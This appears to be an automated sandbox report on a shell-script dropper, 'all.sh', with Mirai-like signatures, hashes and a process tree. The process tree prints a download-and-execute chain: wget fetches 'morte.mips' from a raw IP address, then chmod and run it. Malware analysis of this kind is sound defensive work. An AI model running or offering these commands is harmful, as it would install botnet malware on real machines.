Overview

overview

7

Static

static

1

all.sh

ubuntu-18.04-amd64

7

all.sh

debian-9-armhf

7

all.sh

debian-9-mips

7

all.sh

debian-9-mipsel

7

Analysis

  • max time kernel
    147s
  • max time network
    149s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20260513-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    10/09/2026, 16:22

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General

  • Target
    all.sh
  • Size 2KB
  • Sample260910-tvalbsdr4z
  • SHA256 64910261f7c28947f9c8f8afdcece25addec9c02ee62d1dedded066a8d6571f3
  • MD5 SHA1 SHA512 TLSH
Score
7/10
defense_evasiondiscovery

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 1 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

    defense_evasion
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Writes file to system bin folder 2 IoCs
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 1 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/all.sh
    /tmp/all.sh
    1⤵
    • Executes dropped EXE
    PID:715
    • /bin/uname
      uname -m
      2⤵
        PID:720
      • /usr/bin/wget
        wget -q http://180.93.111.142/00101010101001/morte.mips -O morte
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:722
      • /bin/chmod
        chmod +x morte
        2⤵
        • File and Directory Permissions Modification
        PID:744
      • /tmp/morte
        ./morte
        2⤵
        • Modifies Watchdog functionality
        • Writes file to system bin folder
        • Reads runtime system information
        PID:745

    Network

          MITRE ATT&CK Enterprise v16

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          Downloads

          morte
          • Path /tmp/morte
          • Size 146KB
          • SHA256 f348ecd809cf4663af8eec9373b57efcb807ec949134de96bfa3f055f6486b44
          • MD5 SHA1 SHA512 SSDEEP TLSH
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